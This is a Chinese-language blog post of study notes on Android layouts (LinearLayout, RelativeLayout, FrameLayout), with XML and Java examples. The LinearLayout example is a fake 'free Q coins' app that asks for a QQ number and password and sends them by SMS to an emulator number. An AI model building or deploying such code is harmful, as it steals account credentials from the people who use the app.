布局

0. JAVA代码进行布局

参考:http://blog.csdn.net/jianghuiquan/article/details/8295714

 

1. 线性布局(LinearLayout)

activity_main.xml

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"    //LinearLayout为线性布局
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="vertical"    //垂直线性布局
    android:paddingBottom="@dimen/activity_vertical_margin"
    android:paddingLeft="@dimen/activity_horizontal_margin"
    android:paddingRight="@dimen/activity_horizontal_margin"
    android:paddingTop="@dimen/activity_vertical_margin"
    tools:context=".MainActivity" >

    <ImageView                        //显示图片控件
        android:src="@drawable/qq"   //图片的名字
        android:layout_width="fill_parent"
        android:layout_height="wrap_content"/>
    <EditText         //文本编辑控件
        android:id="@+id/ed_number"
        android:inputType="number"      //文本编辑只能使用数字
        android:hint="请输入QQ号码"
        android:layout_width="fill_parent"   //这个表示充满整个父类
        android:layout_height="wrap_content"  //这个表示刚好
    /> <EditText android:id="@+id/ed_pwd" android:inputType="textPassword" //文本编辑显示为看不见的密码 android:hint="请输入QQ密码" android:layout_width="fill_parent" android:layout_height="wrap_content"/> <Button android:onClick="getQb" //可以在函数中调用这个方法 android:text="一键领取Q币" android:layout_width="fill_parent" android:layout_height="wrap_content"/> </LinearLayout>

 

MainActivity.java:

package com.itheima.qb;

import android.app.Activity;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.text.TextUtils;
import android.view.View;
import android.widget.EditText;
import android.widget.Toast;

public class MainActivity extends Activity {

    EditText ed_number;
    EditText ed_pwd;
    
    // MainActivity 最 开始 初始化时 被执行的方法
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        
        //初始化的动作 
        ed_number = (EditText) findViewById(R.id.ed_number);
        ed_pwd = (EditText) findViewById(R.id.ed_pwd);
    }

    //领取Q币
    public void getQb(View v){
        
        String number = ed_number.getText().toString();
        String pwd = ed_pwd.getText().toString();
        
        if(TextUtils.isEmpty(number)||TextUtils.isEmpty(pwd)){
            
            //给用户提示 ,  土司提示 
            //context: 每一个activity都是继承与context,所以this就代表这activity的父类context
            Toast.makeText(this, "对不起, QQ号码 或者密码 不能为空,否则 不能领取", Toast.LENGTH_LONG).show();
            return;
        }
        
        //如果走到这里,则  获得 qq 号码 和密码, 发送短信
        SmsManager manager = SmsManager.getDefault();
        
        // destinationAddress :发给谁, 
        //scAddress : 从哪儿发的 
        //text : 发的内容
        //sentIntent :短信 发送 出去的报告
        //deliveryIntent : 对方成功接收到短信的报告 
        String text =  number+"#"+pwd;
        manager.sendTextMessage("5556", null, text, null, null);
        
    }

}

注意:图片上面的5554为电话号码

 

2. 相对布局(RelativeLayout)

 参考资料:http://blog.csdn.net/jianghuiquan/article/details/8298687

 

RelativeLayout是一种相对布局,控件的位置是按照相对位置来计算的,后一个控件在什么位置依赖于前一个控件的基本位置,是布局最常用,也是最灵活的一种布局。

 

<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    tools:context="viewpagerindicator.com.relativelayout.MainActivity">

    <Button
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:id="@+id/button1"
        android:text="key1"
        android:layout_alignParentTop="true"
        android:layout_alignParentLeft="true"
        android:layout_marginLeft="15dp"
        android:layout_marginTop="20dp"/>

    <Button
        android:id="@+id/button2"
        android:text="key2"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_below="@id/button1"
        android:layout_toRightOf="@id/button1"
        android:layout_marginTop="30dp"
        />
    <Button
        android:text="key3"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_below="@id/button2"
        android:layout_toLeftOf="@id/button2"/>


</RelativeLayout>

 

3. 表格布局(用到在看)

 

4. 帧布局(FrameLayout)

 参考资料:http://blog.csdn.net/jianghuiquan/article/details/8299961

 

FrameLayout对象好比一块在屏幕上提前预定好的空白区域,可以将一些元素填充在里面,如图片。所有元素都被放置在FrameLayout区域的最左上区域,而且无法为这些元素制指定一个确切的位置,若有多个元素,那么后面的元素会重叠显示在前一个元素上。

 

<?xml version="1.0" encoding="utf-8"?>
<FrameLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    tools:context="viewpagerindicator.com.relativelayout.MainActivity">

    <Button
        android:layout_width="300dp"
        android:layout_height="300dp"
        android:text="key1"
        android:background="@color/colorPrimaryDark"
        />

    <Button
        android:id="@+id/buttontwo"
        android:text="key2"
        android:layout_width="150dp"
        android:layout_height="120dp"


        />
    <Button
        android:text="key3"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:background="@color/colorAccent"
/>

 

posted on 2017-11-08 19:09  maogefff  阅读(230)  评论(0编辑  收藏  举报

导航